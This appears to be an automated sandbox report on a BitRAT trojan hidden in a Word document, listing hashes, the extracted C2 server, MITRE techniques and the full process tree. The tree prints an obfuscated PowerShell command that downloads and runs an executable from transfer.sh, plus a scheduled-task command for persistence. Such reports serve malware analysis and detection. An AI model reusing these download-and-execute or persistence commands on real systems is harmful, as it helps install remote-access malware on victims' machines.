bitrat | edce16eadba8d19990b2ff2e97420f07c1f4defe813ffe961f9cd777f8368b7b

General

Target

Zapitvane_MACH_BULGARIA_EOOD_09_2023.doc
Size

199KB
MD5

3b92906782599469acffd05ba041942e
SHA1

522183445616d131f3edf13e6ea93c9f19c9f52f
SHA256

edce16eadba8d19990b2ff2e97420f07c1f4defe813ffe961f9cd777f8368b7b
SHA512

c1f8a1259327db79f98467d2a9e2dce172c39e78541476722863eb7b6fa5c39f41c39ad574e7e0b65ed4ab0d8a7201665df1463f2aeaa2d456634c94e71e0f33
SSDEEP

3072:NAN+svPwMrFoXiURMf8yS/TSTIs6sCbMD3itIm0QqgxJi+m:W33JodRU8yS/dLsZDyp0QZC

Score

10^/10

bitrat trojan

Malware Config

Extracted

Family

bitrat

Version

1.38

C2

185.225.75.68:3569

Attributes

communication_password
0edcbe7d888380c49e7d1dcf67b6ea6e
tor_process
tor

Signatures

BitRAT
BitRAT is a remote access tool written in C++ and uses leaked source code from other families.
trojan bitrat

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

cmd.exe

description	pid	pid_target	process	target process
Parent C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE is not expected to spawn this process	4676	4792	cmd.exe	WINWORD.EXE

Blocklisted process makes network request 1 IoCs

Processes:

powershell.exe

flow pid process

38 2716 powershell.exe
Downloads MZ/PE file
Executes dropped EXE 3 IoCs

Processes:

ggxnw.exeggxnw.exepint.exe

pid process

4224 ggxnw.exe
2328 ggxnw.exe
4436 pint.exe
Suspicious use of SetThreadContext 1 IoCs

Processes:

ggxnw.exe

description pid process target process

PID 4224 set thread context of 2328 4224 ggxnw.exe ggxnw.exe
Program crash 1 IoCs

Processes:

WerFault.exe

pid pid_target process target process

2000 2328 WerFault.exe ggxnw.exe

flow	pid	process
38	2716	powershell.exe

pid	process
4224	ggxnw.exe
2328	ggxnw.exe
4436	pint.exe

description	pid	process	target process
PID 4224 set thread context of 2328	4224	ggxnw.exe	ggxnw.exe

pid	pid_target	process	target process
2000	2328	WerFault.exe	ggxnw.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task/Job
T1053

Processes:

schtasks.exe

pid process

1384 schtasks.exe

pid	process
1384	schtasks.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

Processes:

WINWORD.EXE

pid process

4792 WINWORD.EXE
4792 WINWORD.EXE
Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

powershell.exe

pid process

2716 powershell.exe
2716 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 2716 powershell.exe
Suspicious use of SetWindowsHookEx 7 IoCs

Processes:

WINWORD.EXE

pid process

4792 WINWORD.EXE
4792 WINWORD.EXE
4792 WINWORD.EXE
4792 WINWORD.EXE
4792 WINWORD.EXE
4792 WINWORD.EXE
4792 WINWORD.EXE

pid	process
4792	WINWORD.EXE
4792	WINWORD.EXE

pid	process
2716	powershell.exe
2716	powershell.exe

description	pid	process
Token: SeDebugPrivilege	2716	powershell.exe

pid	process
4792	WINWORD.EXE
4792	WINWORD.EXE
4792	WINWORD.EXE
4792	WINWORD.EXE
4792	WINWORD.EXE
4792	WINWORD.EXE
4792	WINWORD.EXE

Suspicious use of WriteProcessMemory 30 IoCs

Processes:

WINWORD.EXEcmd.exepowershell.exeggxnw.execmd.exe

description	pid	process	target process
PID 4792 wrote to memory of 4676	4792	WINWORD.EXE	cmd.exe
PID 4792 wrote to memory of 4676	4792	WINWORD.EXE	cmd.exe
PID 4676 wrote to memory of 2716	4676	cmd.exe	powershell.exe
PID 4676 wrote to memory of 2716	4676	cmd.exe	powershell.exe
PID 2716 wrote to memory of 4224	2716	powershell.exe	ggxnw.exe
PID 2716 wrote to memory of 4224	2716	powershell.exe	ggxnw.exe
PID 2716 wrote to memory of 4224	2716	powershell.exe	ggxnw.exe
PID 4224 wrote to memory of 2328	4224	ggxnw.exe	ggxnw.exe
PID 4224 wrote to memory of 2328	4224	ggxnw.exe	ggxnw.exe
PID 4224 wrote to memory of 2328	4224	ggxnw.exe	ggxnw.exe
PID 4224 wrote to memory of 2328	4224	ggxnw.exe	ggxnw.exe
PID 4224 wrote to memory of 2328	4224	ggxnw.exe	ggxnw.exe
PID 4224 wrote to memory of 2328	4224	ggxnw.exe	ggxnw.exe
PID 4224 wrote to memory of 2328	4224	ggxnw.exe	ggxnw.exe
PID 4224 wrote to memory of 2328	4224	ggxnw.exe	ggxnw.exe
PID 4224 wrote to memory of 2328	4224	ggxnw.exe	ggxnw.exe
PID 4224 wrote to memory of 2328	4224	ggxnw.exe	ggxnw.exe
PID 4224 wrote to memory of 2328	4224	ggxnw.exe	ggxnw.exe
PID 4224 wrote to memory of 3388	4224	ggxnw.exe	cmd.exe
PID 4224 wrote to memory of 3388	4224	ggxnw.exe	cmd.exe
PID 4224 wrote to memory of 3388	4224	ggxnw.exe	cmd.exe
PID 4224 wrote to memory of 4816	4224	ggxnw.exe	cmd.exe
PID 4224 wrote to memory of 4816	4224	ggxnw.exe	cmd.exe
PID 4224 wrote to memory of 4816	4224	ggxnw.exe	cmd.exe
PID 4224 wrote to memory of 5020	4224	ggxnw.exe	cmd.exe
PID 4224 wrote to memory of 5020	4224	ggxnw.exe	cmd.exe
PID 4224 wrote to memory of 5020	4224	ggxnw.exe	cmd.exe
PID 4816 wrote to memory of 1384	4816	cmd.exe	schtasks.exe
PID 4816 wrote to memory of 1384	4816	cmd.exe	schtasks.exe
PID 4816 wrote to memory of 1384	4816	cmd.exe	schtasks.exe

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\Zapitvane_MACH_BULGARIA_EOOD_09_2023.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4792

C:\Windows\SYSTEM32\cmd.exe
cmd /c pow^ers^hell/W 01 c^u^rl htt^ps://transfer.sh/get/gj04sqKk7O/boat.e^xe -o C:\Users\Public\ggxnw.exe;C:\Users\Public\ggxnw.exe
2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:4676

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell /W 01 curl https://transfer.sh/get/gj04sqKk7O/boat.exe -o C:\Users\Public\ggxnw.exe;C:\Users\Public\ggxnw.exe
3⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2716

C:\Users\Public\ggxnw.exe
"C:\Users\Public\ggxnw.exe"
4⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:4224

C:\Users\Public\ggxnw.exe
"C:\Users\Public\ggxnw.exe"
5⤵
- Executes dropped EXE
PID:2328

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 2328 -s 188
6⤵
- Program crash
PID:2000

C:\Windows\SysWOW64\cmd.exe
"cmd" /c copy "C:\Users\Public\ggxnw.exe" "C:\Users\Admin\AppData\Roaming\pint\pint.exe"
5⤵
PID:5020

C:\Windows\SysWOW64\cmd.exe
"cmd" /c schtasks /create /sc minute /mo 1 /tn "Nafifas" /tr "'C:\Users\Admin\AppData\Roaming\pint\pint.exe'" /f
5⤵
- Suspicious use of WriteProcessMemory
PID:4816

C:\Windows\SysWOW64\schtasks.exe
schtasks /create /sc minute /mo 1 /tn "Nafifas" /tr "'C:\Users\Admin\AppData\Roaming\pint\pint.exe'" /f
6⤵
- Creates scheduled task(s)
PID:1384

C:\Windows\SysWOW64\cmd.exe
"cmd" /c mkdir "C:\Users\Admin\AppData\Roaming\pint"
5⤵
PID:3388

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 364 -p 2328 -ip 2328
1⤵
PID:4632

C:\Users\Admin\AppData\Roaming\pint\pint.exe
C:\Users\Admin\AppData\Roaming\pint\pint.exe
1⤵
- Executes dropped EXE
PID:4436

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

1

T1053

Persistence

Scheduled Task/Job

1

T1053

Privilege Escalation

Scheduled Task/Job

1

T1053

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_n1nhoc0l.4gw.ps1
Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Roaming\pint\pint.exe
Filesize
3.8MB

MD5
6d4c3a4ff3637ec34f820172f897d476

SHA1
d53fe8f0ecb0536088ec9be5247ab6627baf31cb

SHA256
c609d25041b7c463a726027c99c0a264b1e77415612e445fc39cfc9aae9801f3

SHA512
1ff5f4b215bedf6824c9c1932b5e8dbcbb8e459ee2839c598cc0f955b2948e25c5ce834b963ee1cf6ea22954e9c1fa4b102f117808f6dc8a4891b36c37d7e894

Download Submit
C:\Users\Admin\AppData\Roaming\pint\pint.exe
Filesize
1.5MB

MD5
88795c6b845d76176300c9ab4d396665

SHA1
ab97ee79b3115a7b75507b0e9a16612e373cfb88

SHA256
6dbb321d3f247cc81bc9e44d454f4ce1727464bf86853272aeefe6f71e0f3476

SHA512
f4f0e2585f58113df574e42e0b18627a35c28c6b25ea6c294ae033baf639621c72856ba0583c34707f4f4e4f6a9e9c5ce5cde39abc9494e19fea6acf863b52d7

Download Submit
C:\Users\Admin\AppData\Roaming\pint\pint.exe
Filesize
960KB

MD5
abe58006ba059f749c91a1cce690207e

SHA1
378c8ee12d977f0b359af0700c007def9974fe0d

SHA256
3e1de8d47262fd1aa8aeb25e366e6212bcd7cf55a59aa8369849ab8ebc7103c7

SHA512
b1274373cacc856a634586f3dd734b51b609c306037bb4822699413cd32cfa10e57d42b9960955cdc91ee0eda5a940247f9f1ce4c03c3073f90b3717b28ace9b

Download Submit
C:\Users\Public\ggxnw.exe
Filesize
3.8MB

MD5
6d4c3a4ff3637ec34f820172f897d476

SHA1
d53fe8f0ecb0536088ec9be5247ab6627baf31cb

SHA256
c609d25041b7c463a726027c99c0a264b1e77415612e445fc39cfc9aae9801f3

SHA512
1ff5f4b215bedf6824c9c1932b5e8dbcbb8e459ee2839c598cc0f955b2948e25c5ce834b963ee1cf6ea22954e9c1fa4b102f117808f6dc8a4891b36c37d7e894

Download Submit
C:\Users\Public\ggxnw.exe
Filesize
3.8MB

MD5
6d4c3a4ff3637ec34f820172f897d476

SHA1
d53fe8f0ecb0536088ec9be5247ab6627baf31cb

SHA256
c609d25041b7c463a726027c99c0a264b1e77415612e445fc39cfc9aae9801f3

SHA512
1ff5f4b215bedf6824c9c1932b5e8dbcbb8e459ee2839c598cc0f955b2948e25c5ce834b963ee1cf6ea22954e9c1fa4b102f117808f6dc8a4891b36c37d7e894

Download Submit
C:\Users\Public\ggxnw.exe
Filesize
3.8MB

MD5
6d4c3a4ff3637ec34f820172f897d476

SHA1
d53fe8f0ecb0536088ec9be5247ab6627baf31cb

SHA256
c609d25041b7c463a726027c99c0a264b1e77415612e445fc39cfc9aae9801f3

SHA512
1ff5f4b215bedf6824c9c1932b5e8dbcbb8e459ee2839c598cc0f955b2948e25c5ce834b963ee1cf6ea22954e9c1fa4b102f117808f6dc8a4891b36c37d7e894

Download Submit
memory/2328-77-0x0000000000D30000-0x00000000010FE000-memory.dmp

Filesize
3.8MB

Download
memory/2328-67-0x0000000000D30000-0x00000000010FE000-memory.dmp

Filesize
3.8MB

Download
memory/2328-72-0x0000000000D30000-0x00000000010FE000-memory.dmp

Filesize
3.8MB

Download
memory/2716-31-0x00000161153E0000-0x0000016115402000-memory.dmp

Filesize
136KB

Download
memory/2716-37-0x000001612D8B0000-0x000001612D8C0000-memory.dmp

Filesize
64KB

Download
memory/2716-52-0x000001612D8B0000-0x000001612D8C0000-memory.dmp

Filesize
64KB

Download
memory/2716-53-0x000001612D8B0000-0x000001612D8C0000-memory.dmp

Filesize
64KB

Download
memory/2716-38-0x000001612D8B0000-0x000001612D8C0000-memory.dmp

Filesize
64KB

Download
memory/2716-60-0x00007FFD57B70000-0x00007FFD58631000-memory.dmp

Filesize
10.8MB

Download
memory/2716-25-0x00007FFD57B70000-0x00007FFD58631000-memory.dmp

Filesize
10.8MB

Download
memory/2716-36-0x000001612D8B0000-0x000001612D8C0000-memory.dmp

Filesize
64KB

Download
memory/2716-51-0x00007FFD57B70000-0x00007FFD58631000-memory.dmp

Filesize
10.8MB

Download
memory/4224-65-0x00000000058D0000-0x00000000058E0000-memory.dmp

Filesize
64KB

Download
memory/4224-73-0x0000000074F60000-0x0000000075710000-memory.dmp

Filesize
7.7MB

Download
memory/4224-64-0x0000000005E90000-0x0000000006434000-memory.dmp

Filesize
5.6MB

Download
memory/4224-62-0x0000000074F60000-0x0000000075710000-memory.dmp

Filesize
7.7MB

Download
memory/4224-63-0x00000000009F0000-0x0000000000DC8000-memory.dmp

Filesize
3.8MB

Download
memory/4436-84-0x0000000074F60000-0x0000000075710000-memory.dmp

Filesize
7.7MB

Download
memory/4792-11-0x00007FFD86A70000-0x00007FFD86C65000-memory.dmp

Filesize
2.0MB

Download
memory/4792-44-0x0000027D74C50000-0x0000027D75C20000-memory.dmp

Filesize
15.8MB

Download
memory/4792-50-0x0000027D74C50000-0x0000027D75C20000-memory.dmp

Filesize
15.8MB

Download
memory/4792-43-0x00007FFD86A70000-0x00007FFD86C65000-memory.dmp

Filesize
2.0MB

Download
memory/4792-41-0x00007FFD86A70000-0x00007FFD86C65000-memory.dmp

Filesize
2.0MB

Download
memory/4792-40-0x00007FFD86A70000-0x00007FFD86C65000-memory.dmp

Filesize
2.0MB

Download
memory/4792-39-0x00007FFD86A70000-0x00007FFD86C65000-memory.dmp

Filesize
2.0MB

Download
memory/4792-24-0x0000027D74C50000-0x0000027D75C20000-memory.dmp

Filesize
15.8MB

Download
memory/4792-23-0x0000027D74C50000-0x0000027D75C20000-memory.dmp

Filesize
15.8MB

Download
memory/4792-13-0x00007FFD449B0000-0x00007FFD449C0000-memory.dmp

Filesize
64KB

Download
memory/4792-12-0x00007FFD449B0000-0x00007FFD449C0000-memory.dmp

Filesize
64KB

Download
memory/4792-0-0x00007FFD46AF0000-0x00007FFD46B00000-memory.dmp

Filesize
64KB

Download
memory/4792-10-0x00007FFD86A70000-0x00007FFD86C65000-memory.dmp

Filesize
2.0MB

Download
memory/4792-9-0x00007FFD86A70000-0x00007FFD86C65000-memory.dmp

Filesize
2.0MB

Download
memory/4792-8-0x00007FFD86A70000-0x00007FFD86C65000-memory.dmp

Filesize
2.0MB

Download
memory/4792-7-0x00007FFD46AF0000-0x00007FFD46B00000-memory.dmp

Filesize
64KB

Download
memory/4792-6-0x00007FFD86A70000-0x00007FFD86C65000-memory.dmp

Filesize
2.0MB

Download
memory/4792-5-0x00007FFD46AF0000-0x00007FFD46B00000-memory.dmp

Filesize
64KB

Download
memory/4792-3-0x00007FFD46AF0000-0x00007FFD46B00000-memory.dmp

Filesize
64KB

Download
memory/4792-4-0x00007FFD86A70000-0x00007FFD86C65000-memory.dmp

Filesize
2.0MB

Download
memory/4792-1-0x00007FFD46AF0000-0x00007FFD46B00000-memory.dmp

Filesize
64KB

Download
memory/4792-2-0x00007FFD86A70000-0x00007FFD86C65000-memory.dmp

Filesize
2.0MB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads